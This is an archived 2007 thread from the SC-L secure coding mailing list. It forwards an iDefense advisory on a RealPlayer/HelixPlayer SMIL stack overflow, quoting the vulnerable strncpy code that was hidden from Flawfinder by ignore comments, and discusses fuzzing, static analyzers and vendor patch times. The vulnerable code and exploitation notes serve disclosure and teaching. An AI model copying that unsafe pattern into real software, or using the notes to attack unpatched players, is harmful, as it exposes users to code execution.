> 
> [2] Will software that adheres to a set of "security 
> principles", when deployed "in the wild", actually resist or 
> tolerate attacks and attempted execution of inserted/embedded 
> malicious code better than software whose developers did not 
> adhere to security principles?
> 
> 
You might find some useful evidence here: 

http://www.praxis-his.com/pdfs/issse2006tokeneer.pdf

The NSA were cetainly impressed with benefits of a rigorous engineering
approach to software development.

Peter

--------------------------------------------------------

Peter Amey BSc ACGI CEng CITP MRAes FBCS


CTO (Software Engineering)

direct:   +44 (0) 1225 823761

mobile: +44 (0) 7774 148336

peter.amey at praxis-his.com

 

Praxis High Integrity Systems Ltd

20 Manvers St, Bath, BA1 1PX, UK

t: +44 (0)1225 466991

f: +44 (0)1225 469006

w: www.praxis-his.com

--------------------------------------------------------

 


This email is confidential and intended solely for the use of the individual to whom it is addressed. If you are not the intended recipient, be advised that you have received this email in error and that any use, disclosure, copying or distribution or any action taken or omitted to be taken in reliance on it is strictly prohibited. If you have received this email in error please contact the sender. Any views or opinions presented in this email are solely those of the author and do not necessarily represent those of Praxis. 

Although this email and any attachments are believed to be free of any virus or other defect, no responsibility is accepted by Praxis or any of its associated companies for any loss or damage arising in any way from the receipt or use thereof. The IT Department at Praxis can be contacted at it.support at praxis-his.com.

Praxis High Integrity Systems Ltd:

Company Number: 3302507, registered in England and Wales

Registered Address: 20 Manvers Street, Bath. BA1 1PX

VAT Registered in Great Britain: 682635707



From ken at krvw.com  Tue Jun 26 16:41:09 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 26 Jun 2007 16:41:09 -0400
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
References: <46816ECA.7000008@idefense.com>
Message-ID: <DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com>

SC-L

I'm not quite so sure why this one (below) caught my eye -- we _all_  
get tons of product advisories -- but it did.  In particular, two  
things jump out at me:

1) the original author of the defect thought that s/he was doing  
things correctly in using strncpy (vs. strcpy).
2) the original author had apparently been doing static source  
analysis using David Wheeler's Flawfinder tool, as we can tell from  
the comments.

Yet, a simple coding mistake was made in calculating the length of a  
buffer and passing that incorrect length to strncpy.  The result was  
a buffer overrun on the stack, just like the millions that we've all  
seen.

Mind you, the overrun can only be exploited when specific characters  
are used as input to the loop in the code.  Thus, I'm inclined to  
think that this is an interesting example of a bug that would have  
been extraordinarily difficult to find using black box testing, even  
fuzzing.  The iDefense team doesn't say how the (anonymous) person  
who reported it found it, but I for one would be really curious to  
hear that story.

Just some random thoughts this afternoon...  Perhaps I'm still  
getting over the jet lag after returning from the FIRST conference in  
Seville.

Cheers,

Ken van Wyk
SC-L Moderator


Begin forwarded message:

> From: iDefense Labs <labs-no-reply at idefense.com>
> Date: June 26, 2007 3:53:46 PM EDT
> To: vulnwatch at vulnwatch.org, full-disclosure at lists.grok.org.uk,  
> bugtraq at securityfocus.com
> Subject: iDefense Security Advisory 06.26.07: RealNetworks  
> RealPlayer/HelixPlayer SMIL wallclock Stack Overflow Vulnerability
>
> RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow
> Vulnerability
>
> iDefense Security Advisory 06.26.07
> http://labs.idefense.com/intelligence/vulnerabilities/
> Jun 26, 2007
>
> I. BACKGROUND
>
> RealPlayer is an application for playing various media formats,
> developed by RealNetworks Inc. HelixPlayer is the open source version
> of RealPlayer. More information can be found at the URLs shown below.
>
> http://www.real.com/realplayer.html
> http://helixcommunity.org/
>
> Synchronized Multimedia Integration Language (SMIL) is a markup  
> language
> used to specify the use of several multi-media concepts when rendering
> media. Some such concepts are timing, transitions, and embedding. More
> information is available from WikiPedia at the following URL.
>
> http://en.wikipedia.org/wiki/ 
> Synchronized_Multimedia_Integration_Language
>
> II. DESCRIPTION
>
> Remote exploitation of a buffer overflow within RealNetworks'  
> RealPlayer
> and HelixPlayer allows attackers to execute arbitrary code in the  
> context
> of the user.
>
> The issue specifically exists in the handling of HH:mm:ss.f time  
> formats
> by the 'wallclock' functionality within the code supporting SMIL2. An
> excerpt from the code follows.
>
>    924    HX_RESULT
>    925    SmilTimeValue::parseWallClockValue(REF(const char*) pCh)
>    926    {
>    ...
>    957        char buf[10]; /* Flawfinder: ignore */
>    ...
>    962        while (*pCh)
>    963        {
>    ...
>    972             else if (isspace(*pCh) || *pCh == '+' || *pCh ==  
> '-'
> || *pCh == 'Z')
>    973             {
>    974                 // this will find the last +, - or Z...  
> which is
> what we want.
>    975                 pTimeZone = pCh;
>    976             }
>    ...
>    982             ++pCh;
>    983        }
>    ...
>   1101        if (pTimePos)
>   1102        {
>   1103        //HH:MM...
>   ....
>   1133          if (*(pos-1) == ':')
>   1134          {
>   ....
>   1148            if (*(pos-1) == '.')
>   1149            {
>   1150            // find end.
>   1151            UINT32 len = 0;
>   1152            if (pTimeZone)
>   1153            {
>   1154                len = pTimeZone - pos;
>   1155            }
>   1156            else
>   1157            {
>   1158                len = end - pos;
>   1159            }
>   1160            strncpy(buf, pos, len); /* Flawfinder: ignore */
>
> The stack buffer is declared to be 10 bytes on line 957. You can see
> that it has a comment which will cause the FlawFinder program to  
> ignore
> this buffer.
>
> The loop, which begins on line 962, runs through the parameter to the
> function looking for characters that denote different sections of the
> time format. When it encounters white space, or the +, -, or Z
> characters it will record the location for later use. If a time was
> located and it contains both a colon and a period the vulnerable code
> will be reached.
>
> The length of data to copy into the stack buffer is calculated  
> either on
> line 1154 or line 1158 depending on whether or not a timezone is  
> present.
> Neither calculations take into consideration the constant length of  
> the
> 'buf' buffer and therefore a stack-based buffer overflow can occur on
> line 1160. Again, notice that this unsafe use of strncpy() is also
> marked with a FlawFinder ignore comment.
>
> III. ANALYSIS
>
> Exploitation requires that an attacker persuade a user to supply
> RealPlayer or HelixPlayer with a maliciously crafted SMIL file. For
> example, this can be accomplished by convincing them to visit a
> malicious web page.
>
> The data that is used to overflow the buffer is quite limited in the
> range of characters that are allowed. However, given the ease of
> address space manipulation within web browsers, exploitation is not
> substantially impacted by this limitation.
>
> The RealPlayer plug-in can be referenced within a web browser by using
> CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA CLSID.
>
> IV. DETECTION
>
> iDefense has confirmed the existence of this vulnerability in version
> 10.5-GOLD of RealNetworks' RealPlayer and HelixPlayer. Confirmation of
> the existence this vulnerability within HelixPlayer was done via  
> source
> code review. Older versions are assumed to be vulnerable.
>
> V. WORKAROUND
>
> For Windows systems, setting the kill-bit for the associated CLSID,
> despite greatly reducing the media player's functionality, will
> mitigate exploitation. It should be noted that the CLSID listed may  
> not
> be the only CLSID allowing access to the vulnerable code.
>
> VI. VENDOR RESPONSE
>
> RealNetworks has addressed this vulnerability by releasing fixed
> versions of their software.
>
> RealNetworks has not provided iDefense with any links referring to
> updated packages or advisories. Installing the latest version from
> their web site will address the vulnerability.
>
> VII. CVE INFORMATION
>
> The Common Vulnerabilities and Exposures (CVE) project has assigned  
> the
> name CVE-2007-3410 to this issue. This is a candidate for inclusion in
> the CVE list (http://cve.mitre.org/), which standardizes names for
> security problems.
>
> VIII. DISCLOSURE TIMELINE
>
> 10/02/2006  Initial vendor notification
> 10/03/2006  Initial vendor response
> 06/26/2007  Public disclosure
>
> IX. CREDIT
>
> The discoverer of this vulnerability wishes to remain anonymous.
>
> Get paid for vulnerability research
> http://labs.idefense.com/methodology/vulnerability/vcp.php
>
> Free tools, research and upcoming events
> http://labs.idefense.com/
>
> X. LEGAL NOTICES
>
> Copyright ? 2007 iDefense, Inc.
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without the express
> written consent of iDefense. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please e-mail customerservice at idefense.com for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information.  
> Use
> of the information constitutes acceptance for use in an AS IS  
> condition.
>  There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct,
> indirect, or consequential loss or damage arising from use of, or
> reliance on, this information.


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070626/ab068f57/attachment.bin 

From coley at linus.mitre.org  Tue Jun 26 17:23:51 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 26 Jun 2007 17:23:51 -0400 (EDT)
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com>
References: <46816ECA.7000008@idefense.com>
	<DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com>
Message-ID: <Pine.GSO.4.51.0706261714540.6937@faron.mitre.org>


On Tue, 26 Jun 2007, Kenneth Van Wyk wrote:

> Mind you, the overrun can only be exploited when specific characters
> are used as input to the loop in the code.  Thus, I'm inclined to
> think that this is an interesting example of a bug that would have
> been extraordinarily difficult to find using black box testing, even
> fuzzing.

I would assume that "smart" fuzzing could have lots of manipulations of
the HH:mm:ss.f format (the intended format mentioned in the advisory), so
this might be findable using black box testing, although I don't know how
many fuzzers actually know how to muck with time strings.  Because the
programmer told flawfinder to ignore the strncpy() that it had flagged, it
also shows a limitation of manual testing.

In CVE anyway, I've seen a number of overflows involving strncpy, and
they're not all off-by-one errors.  They're hard to enumerate because we
don't usually track which function was used, but here are some:

CVE-2007-2489 - negative length

CVE-2006-4431 - empty input causes crash involving strncpy

CVE-2006-0720 - "incorrect" strncpy call

CVE-2004-0500 - another bad strncpy

CVE-2003-0465 - interesting API interaction


- Steve

From Kevin.Wall at qwest.com  Tue Jun 26 17:25:05 2007
From: Kevin.Wall at qwest.com (Wall, Kevin)
Date: Tue, 26 Jun 2007 16:25:05 -0500
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com>
References: <46816ECA.7000008@idefense.com>
	<DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com>
Message-ID: <CF8B26B8B49184429CB084616B00193003C77517@itomae2km05.AD.QINTRA.COM>

Ken,

You wrote...
> Mind you, the overrun can only be exploited when specific characters  
> are used as input to the loop in the code.  Thus, I'm inclined to  
> think that this is an interesting example of a bug that would have  
> been extraordinarily difficult to find using black box testing, even  
> fuzzing.
> <...deleted...>
> The iDefense team doesn't say how the (anonymous) person  
> who reported it found it, but I for one would be really curious to  
> hear that story.

Reading from the iDefense security advisory on this, it says:

  IV. DETECTION

  iDefense has confirmed the existence of this vulnerability in version
  10.5-GOLD of RealNetworks' RealPlayer and HelixPlayer. Confirmation of
  the existence this vulnerability within HelixPlayer was done via
SOURCE
  CODE REVIEW. Older versions are assumed to be vulnerable. 

(Emphasis mine.)

So looks like it was discovered manually, possibly with the aid of a
static source code analyzer that ignores Flawfinder comments.
Apparently,
you missed that because of your jet lag. ;-)

The sad thing is that based on the documented "Disclosure Timeline", it
seems that almost 8 full months have past since the vendor
(RealNetworks)
responded with a fix. I mean, was the fix really rocket science that it
had to take THAT LONG??? IMHO, no excuse for taking that long.

-kevin
---
Kevin W. Wall		Qwest Information Technology, Inc.
Kevin.Wall at qwest.com	Phone: 614.215.4788
"It is practically impossible to teach good programming to students
 that have had a prior exposure to BASIC: as potential programmers
 they are mentally mutilated beyond hope of regeneration"
    - Edsger Dijkstra, How do we tell truths that matter?
      http://www.cs.utexas.edu/~EWD/transcriptions/EWD04xx/EWD498.html


This communication is the property of Qwest and may contain confidential or
privileged information. Unauthorized use of this communication is strictly 
prohibited and may be unlawful.  If you have received this communication 
in error, please immediately notify the sender by reply e-mail and destroy 
all copies of the communication and any attachments.


From jms at bughunter.ca  Tue Jun 26 17:43:30 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Tue, 26 Jun 2007 14:43:30 -0700
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <DAD25AF2-D115-49C7-8B91-F4BB804E21D6@krvw.com>
Message-ID: <005d01c7b83b$0f9bf9d0$6207a8c0@jseitz>

Hey all,

> 1) the original author of the defect thought that s/he was 
> doing things correctly in using strncpy (vs. strcpy).
> 2) the original author had apparently been doing static 
> source analysis using David Wheeler's Flawfinder tool, as we 
> can tell from the comments.
> 

This is humorous, suppose they put it there intentionally and created the
flawfinder tag so that bughunters wouldn't see it doing a quick code scan :)
Conspiracy theory++! But on the other hand, if you can make big bucks
selling 0-days, and can write code, why wouldn't you try to sneak a few into
an open source app?

> Mind you, the overrun can only be exploited when specific 
> characters are used as input to the loop in the code.  Thus, 
> I'm inclined to think that this is an interesting example of 
> a bug that would have been extraordinarily difficult to find 
> using black box testing, even fuzzing.  The iDefense team 
> doesn't say how the (anonymous) person who reported it found 
> it, but I for one would be really curious to hear that story.

<sigh>I disagree, and do we include reverse engineering as black-box
testing? For example, maybe straight up RFC-style fuzzer wouldn't have hit
this one immediately, but there is the possibility that it could have
eventually found that code path, even a dumb fuzzer *could* have. Now let's
take something like Demott's EFS system which uses code-coverage and a
genetic algorithm to hammer further and further into the code. As it would
have hit this basic block of assembly, it may have found that the necessary
characters to continue through this code path had to be mutated or included
in a recombination for the next generation (it's fitness score would be
higher),it's not unreasonable....I have seen it do it myself! 

Now if a RE guy would have looked at this (and some of us prefer
disassembled binaries over C-source), its VERY plausible that they would
have found that path, and found the way to exploit it. Take a look at my
blog posting on
http://www.openrce.org/blog/view/775/Tracing_Naughty_Functions where I drop
some subtle hints on how to quickly find these dangerous functions, and
begin determining the best path towards them. Definitely not a new
approach...

This is a perfect example of how a source code analysis tool failed, because
you let a developer tell it to NOT scan it. :) I wonder if there are flags
like that in Fortify?

JS


From paco at cigital.com  Tue Jun 26 17:56:04 2007
From: paco at cigital.com (Paco Hope)
Date: Tue, 26 Jun 2007 17:56:04 -0400
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <CF8B26B8B49184429CB084616B00193003C77517@itomae2km05.AD.QINTRA.COM>
Message-ID: <C2A6F5A4.E26E%paco@cigital.com>

On 6/26/07 4:25 PM, "Wall, Kevin" <Kevin.Wall at qwest.com> wrote:

I mean, was the fix really rocket science that it had to take THAT LONG??? IMHO, no excuse for taking that long.

8 months seems awfully long, but it doesn't surprise me that a big organization takes a really long time to get things like this out the door. I have worked with a lot of software companies over the years, and few have their entire test suite (unit, integration, system, regression) fully automated. It just doesn't work that way. People on this list would be just as condemning of a company that rushed a fix out the door with inadequate testing and managed to ship a new buffer overflow in the fix for an old one. Furthermore, it's not like the source code had been sitting idle with no modifications to it. They were surely in the middle of a dev cycle where they were adding lots of features and testing and so on. They have business priorities to address, since those features (presumably) are what bring revenue in the door and keep competitors off their market turf.

So, if everyone dropped everything they were doing and focused solely on fixing this one issue and doing a full battery of tests until it was release-worthy, it would have gone out a lot faster. But a company that did that on every bug that was reported would get no features released and go out of business. They have to weigh the impact of missing product goals versus the risk of exploits of a buffer overflow. I'm not sure we can categorically say (none of us being RealNetworks people) that they made the wrong decision. We don't have the information.

Paco
--
Paco Hope, CISSP
Technical Manager, Cigital, Inc
http://www.cigital.com/ * +1.703.585.7868
Software Confidence. Achieved.


From James.McGovern at thehartford.com  Tue Jun 26 18:00:00 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Tue, 26 Jun 2007 18:00:00 -0400
Subject: [SC-L] The Next Frontier
In-Reply-To: <CF8B26B8B49184429CB084616B00193003C77517@itomae2km05.AD.QINTRA.COM>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999CB6@AD1HFDEXC309.ad1.prod>

Awhile back, someone asked the question of what should this list
collectively work on next. Today, I attended a demo from Fortify
Software and an idea appeared. It seems as if OWASP has a taxonomy of
all ways of classifying defects. Likewise, all of the tools emit some
form of information to be consumed by the audit role. 

Would there be value in terms of defining an XML schema that all tools
could emit audit information to? My thought is that this could solve
several problems. For example, if a large enterprise wanted to put in
their outsourcing contract that their outsourcer use a tool (any tool)
but also had to provide the audit results in a normalized markup
language then they could build trends, do analysis at a higher level to
look at common problems and so on.

Likewise, in situations where one doesn't necessarily have access to
source code (say Oracle, BEA, Microsoft and so on), we could ask for
evidence of what tests where ran and the results without having access
to the actual source code. Likewise, if there were a way to capture
signoffs and digitally sign portions then that could be something put
into the contract as well.

Thoughts?


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From coley at linus.mitre.org  Tue Jun 26 20:09:46 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 26 Jun 2007 20:09:46 -0400 (EDT)
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <C2A6F5A4.E26E%paco@cigital.com>
References: <C2A6F5A4.E26E%paco@cigital.com>
Message-ID: <Pine.GSO.4.51.0706262000350.6937@faron.mitre.org>


> On 6/26/07 4:25 PM, "Wall, Kevin" <Kevin.Wall at qwest.com> wrote:
>
> I mean, was the fix really rocket science that it had to take THAT
> LONG??? IMHO, no excuse for taking that long.

Some major vendor organizations, most notably Oracle and Microsoft, have
frequently stated that they can't always fix even simple vulnerabilities
instantly, because they have batteries of tests and platforms to verify
that the fix won't damage anything else.  I can see why this would be the
case, although I rarely hear vendors talk about what they're doing to make
their response time faster.  Open source vendors likely have similar
challenges, though maybe not on such a large scale.

I'd be interested to hear from the SDLC/CMM consultant types who work with
vendors on process, about *why* this is the case.

And in terms of future challenges: how can the lifecycle process be
changed so that developers can quickly and correctly fix show-stopping
issues (including/especially vulnerabilities)?  It would seem to me that
one way that vendors can compete, but don't, is in how quickly and
smoothly they fix issues in existing functionality, which might be a large
part of the operational expenses for an IT consumer.

- Steve

From leichter_jerrold at emc.com  Wed Jun 27 09:59:06 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Wed, 27 Jun 2007 09:59:06 -0400 (EDT)
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <005d01c7b83b$0f9bf9d0$6207a8c0@jseitz>
References: <005d01c7b83b$0f9bf9d0$6207a8c0@jseitz>
Message-ID: <Pine.SOL.4.61.0706270933090.19681@mental>

| This is a perfect example of how a source code analysis tool failed,
| because you let a developer tell it to NOT scan it. :) I wonder if
| there are flags like that in Fortify?
There are flags like that in *every* source code scanner I know of.  The
state of the art is just not at a point where you don't need a way to
turn off warnings for false positives.  The way you do it can be more or
less sophisticated, but even the most sophisticated can be fooled by
misunderstandings - much less deliberate lies - by the developer.  For
example, Coverity has a nice feature that lets you provide it with
information about the characteristics of functions to which the scanner
doesn't have access.  Rather than define a whole little language for
defining such things, Coverity has you write a dummy function that
simply undertakes the actions it will need to know about.  For example,
to tell Coverity that void f(char* p) will write to *p, you provide
the dummy function:

		void f(char* p) { *p = 0; }

If you accidentally - or deliberately - provide:

		void f(char* p) { *p; }

you've just told Coverity that f() dereferences p, but never writes
through it.  Needless to say, and subsequent analysis will be flawed.

Binary analysis doesn't, in principle, suffer from the problem of not
having access to everything - though even it may have a problem with
system calls (and of course in practice there may be other
difficulties).

"Unavailable source/binary" is a very simple issue.  There are all kinds
of things that are beyond the capabilities of current analysis engines -
and always will be, given the Turing-completeness of all languages
people actually use.  To take a simple example:  A properly-written
quicksort that, before scanning a subfile, sorts the first, middle, and
last element in place before using the middle element as the pivot, does
not need to do any array-bounds checking:  The element values will make
it impossible to walk "out of" the subfile.  This is trivial to prove,
but I doubt any scanner will notice.  It will complain that you *might*
exceed the array bounds.  You basically have two alternatives at this
point:

	1.  Re-write the code to make it amenable to analysis.
	2.  Somehow tell the analyzer to back off.

The theoretically-correct approach is (1) - but it may not be practical
in particular cases.  For quicksort applied to a type with a fast
comparison operation, doing that can double the time spent in the inner
loop and kill performance.  In many cases, the performance or other
impact is minor, but someone has to go off and restructure and retest
the code.  How much such effort can be justified to deal with an
"impossible" situation, just because the analyzer is too stupid to
understand it?  Paradoxically, doing this can also lead to difficulty in
later maintenance:  Someone looking at the code will ask "why are we
testing for null here, the value can't possibly be null because of
XYZ..."  You don't want to be wasting your time going down such
pointless paths every time you need to change the code.  (Yes, comments
can help - but all too often they aren't read or updated.)

Finally, I've seen cases where adding a check to keep the analyzer happy
can encourage a later bug.  Consider a function that as part of some
computation we can prove always produces a non-negative value.  We take
the square root of this value without checking.  The analyzer complains.
So even though it can't matter, we use take the absolute value before
taking the square root.  All is well.  Later, the definition of the
function is changed, and the first computation *may* produce a negative
value, which is then used in some other way.  A quick check of the code
reveals that negative values "are already being handled", so no attempt
is made to update the code.  Boom.

							-- Jerry


From paco at cigital.com  Wed Jun 27 16:38:19 2007
From: paco at cigital.com (Paco Hope)
Date: Wed, 27 Jun 2007 16:38:19 -0400
Subject: [SC-L] The Next Frontier
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999CB6@AD1HFDEXC309.ad1.prod>
Message-ID: <C2A842FB.E2B0%paco@cigital.com>

On 6/26/07 5:00 PM, "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com> wrote:

Would there be value in terms of defining an XML schema that all tools could emit audit information to?

You might want to take a look at what the Fortify guys already do. Their "FVDL" (Fortify Vulnerability Description Language) is XML written to a specific schema. Here's a snippet:

<?xml version="1.0" encoding="UTF-8"?>
<FVDL xmlns="xmlns://www.fortifysoftware.com/schema/fvdl" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="1.5" xsi:type="FVDL">
<CreatedTS xmlns="xmlns://www.fortifysoftware.com/schema/fvdl" date="2007-06-27" time="16:27:37"/>
<Build xmlns="xmlns://www.fortifysoftware.com/schema/fvdl">
    <BuildID>curl-7.11.1</BuildID>
    <NumberFiles>42</NumberFiles>
    <LOC>23572</LOC>
    <SourceBasePath>/Users/paco/Documents/Fortify/curl-7.11.1/lib</SourceBasePath>
    <SourceFiles>
        <File size="20098" timestamp="1079527605000">connect.c</File>
        <File size="11584" timestamp="1077710136000">krb4.c</File>
[..snip..]
<Vulnerability xmlns="xmlns://www.fortifysoftware.com/schema/fvdl">
    <ClassInfo>
        <ClassID>28424EC3-FFAC-40C0-94D9-3D8283B2F57C</ClassID>
        <Kingdom>Input Validation and Representation</Kingdom>
        <Type>Buffer Overflow</Type>
        <AnalyzerName>dataflow</AnalyzerName>
        <DefaultSeverity>4.0</DefaultSeverity>
    </ClassInfo>
    <InstanceInfo>
        <InstanceID>005542ED81D54F3C72BF3669EA8D130A</InstanceID>
        <InstanceSeverity>4.0</InstanceSeverity>
        <Confidence>3.4</Confidence>
    </InstanceInfo>
[..snip..]

Some of their XML seems quite reusable to me, and some of it seems pretty proprietary. It doesn't seem like they share a DTD or a schema publicly. Perhaps a little coaxing would get them to release it.

Paco
--
Paco Hope, CISSP
Technical Manager, Cigital, Inc
http://www.cigital.com/ * +1.703.585.7868
Software Confidence. Achieved.


From ljknews at mac.com  Wed Jun 27 17:08:19 2007
From: ljknews at mac.com (ljknews)
Date: Wed, 27 Jun 2007 17:08:19 -0400
Subject: [SC-L] The Next Frontier
In-Reply-To: <C2A842FB.E2B0%paco@cigital.com>
References: <C2A842FB.E2B0%paco@cigital.com>
Message-ID: <p05200f0ac2a881cdb5b5@[192.168.1.254]>

At 4:38 PM -0400 6/27/07, Paco Hope wrote:
> On 6/26/07 5:00 PM, "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com> wrote:
> 
> Would there be value in terms of defining an XML schema that all tools could emit audit information to?
> 
> You might want to take a look at what the Fortify guys already do. Their "FVDL" (Fortify Vulnerability Description Language) is XML written to a specific schema

In the US, the federal government has a lot of that going on:

http://nvd.nist.gov/scap.cfm

but they only support certain platforms, like Windows.
-- 
Larry Kilgallen

From coley at linus.mitre.org  Wed Jun 27 18:33:46 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 27 Jun 2007 18:33:46 -0400 (EDT)
Subject: [SC-L] The Next Frontier
In-Reply-To: <p05200f0ac2a881cdb5b5@[192.168.1.254]>
References: <C2A842FB.E2B0%paco@cigital.com>
	<p05200f0ac2a881cdb5b5@[192.168.1.254]>
Message-ID: <Pine.GSO.4.51.0706271828280.16272@faron.mitre.org>


SCAP deals with finding known vulnerabilities or configuration problems on
live networks, not the results of an ad hoc analysis of a single software
package.  NIST's SAMATE project might have exchange formats on a to-do
list somewhere, but I'm not deeply involved in that project except as it
relates to CWE.  Certainly, an exchange format would be very useful for
collating (or comparing) results from multiple tools, which also might be
its greatest barrier to vendor acceptance based on competitive reasons.

- Steve

From dwheeler at ida.org  Thu Jun 28 10:17:02 2007
From: dwheeler at ida.org (David A. Wheeler)
Date: Thu, 28 Jun 2007 10:17:02 -0400
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <mailman.1.1182960001.66154.sc-l@securecoding.org>
References: <mailman.1.1182960001.66154.sc-l@securecoding.org>
Message-ID: <4683C2DE.3070004@ida.org>

In this discussion:
> | This is a perfect example of how a source code analysis tool failed,
> | because you let a developer tell it to NOT scan it. :) I wonder if
> | there are flags like that in Fortify?
> There are flags like that in *every* source code scanner I know of.  The
> state of the art is just not at a point where you don't need a way to
> turn off warnings for false positives.

That's exactly right, unfortunately.  To compensate for the problem of 
people inserting bad ignore directives, many scanning tools _also_ 
include an "ignore the ignores" command.  For example, flawfinder has a 
--neverignore (-n) flag that "ignores the ignore command".  I believe 
that such an option ("ignore ignores") is critically necessary for any 
tool that has "ignore" directives, to address this very problem.

If you couldn't insert "ignore" directives, many people wouldn't use 
such tools at all, and would release code with vulnerabilities that 
WOULD be found by such tools.

--- David A. Wheeler



From jms at bughunter.ca  Thu Jun 28 11:38:47 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Thu, 28 Jun 2007 08:38:47 -0700
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <4683C2DE.3070004@ida.org>
Message-ID: <001801c7b99a$6c075330$6207a8c0@jseitz>

 
Hey there,
 
> If you couldn't insert "ignore" directives, many people 
> wouldn't use such tools at all, and would release code with 
> vulnerabilities that WOULD be found by such tools.

Of course, much like an IDS, you have to find the baseline and adjust your
ruleset according to the norm, if it is constantly firing on someone
accessing /index.html of your website, then that's working against you. 

I am not disagreeing with the fact the static source analysis is a good
thing, I am just saying that this is a case where it failed (or maybe the
user/developer of it failed or misunderstood it's use). Fair enough that on
this particular list you are going to defend source analysis over any other
method, it is about secure coding after all, but I definitely still strongly
disagree that other methods wouldn't have found this bug. 

Shall we take a look at the customer lists of the big source analyzer
companies, and then cross-map that to the number of vulnerabilities
released? Why are we still finding bugs in software that have the SDL? Why
are we still finding bugs in software that have been analyzed before the
compiler has run? Why are these companies like Fortify charging an arm and a
leg for such a technology when the bughunters are still beating the snot out
of this stuff? You guys all have much more experience on that end, so I am
looking forward to your responses!

Cheers! 

JS


From leichter_jerrold at emc.com  Thu Jun 28 13:23:04 2007
From: leichter_jerrold at emc.com (Leichter, Jerry)
Date: Thu, 28 Jun 2007 13:23:04 -0400 (EDT)
Subject: [SC-L] Interesting tidbit in iDefense Security Advisory 06.26.07
In-Reply-To: <001801c7b99a$6c075330$6207a8c0@jseitz>
References: <001801c7b99a$6c075330$6207a8c0@jseitz>
Message-ID: <Pine.SOL.4.61.0706281307370.19681@mental>

On Thu, 28 Jun 2007, J. M. Seitz wrote:
| Hey there,
|  
| > If you couldn't insert "ignore" directives, many people 
| > wouldn't use such tools at all, and would release code with 
| > vulnerabilities that WOULD be found by such tools.
| 
| Of course, much like an IDS, you have to find the baseline and adjust
| your ruleset according to the norm, if it is constantly firing on
| someone accessing /index.html of your website, then that's working
| against you.
| 
| I am not disagreeing with the fact the static source analysis is a
| good thing, I am just saying that this is a case where it failed (or
| maybe the user/developer of it failed or misunderstood it's use). Fair
| enough that on this particular list you are going to defend source
| analysis over any other method, it is about secure coding after all,
| but I definitely still strongly disagree that other methods wouldn't
| have found this bug.
| 
| Shall we take a look at the customer lists of the big source analyzer
| companies, and then cross-map that to the number of vulnerabilities
| released? 
It would be great to have that information.  Even better would be to
classify the vulnerabilities in two buckets:  Those that the analyzer
was expected to find, and those that it's not ready for.

You would have to allow for the time it takes from when the analyzer
starts being used to when software that actually went through, not just
the analyzer, but the remediation process, actually hits the streets.
For large companies and widely-used commerical products, that can be a
long time.

However ... I think the chances of getting that kind for commercial
projects is just about nil.  Companies generally consider the details of
their software development processes proprietary, and at most will give
you broad generalities about the kinds of tools and processes they use.
(Given the cost of these analyzers, you'd think that potential customers
would want some data about actual payoffs.  However, I think they
recognize that no such data exists at this point.  A prudent customer
might well collect such data for himself to help in deciding whether the
contract for the analyzer is worth renewing - though even this kind of
careful analysis is very rare in the industry.)

An OSS project might be a better starting place for this kind of study.
I know that Coverity has analyzed a couple of significant pieces of OSS
for free (including, I believe, the Linux and NetBSD kernels).  It's
likely that other analyzer vendors have done something similar, though I
haven't heard about it.  A study showing how using an analyzer led to an
x% decrease in reported bugs would make for great sales copy.  (Of
course, there's always the risk that the analyzer doesn't actually help
make the software more secure!)

|	    Why are we still finding bugs in software that have the SDL?
| Why are we still finding bugs in software that have been analyzed
| before the compiler has run? Why are these companies like Fortify
| charging an arm and a leg for such a technology when the bughunters
| are still beating the snot out of this stuff? 
I'm not sure that's a fair comparison.  The defenders have to plug *all*
the holes, including those using techniques that weren't known at the
time the software was produced.  The attackers only have to find one
hole.

|						You guys all have much
| more experience on that end, so I am looking forward to your
| responses!
As with almost everything in software engineering, sad to say, there is
very little objective evidence.  It's hard and expensive to gather, and
those who are in a position to pay for the effort rarely see a major
payoff from making it.  Which would you rather do:  Put up $1,000,000 to
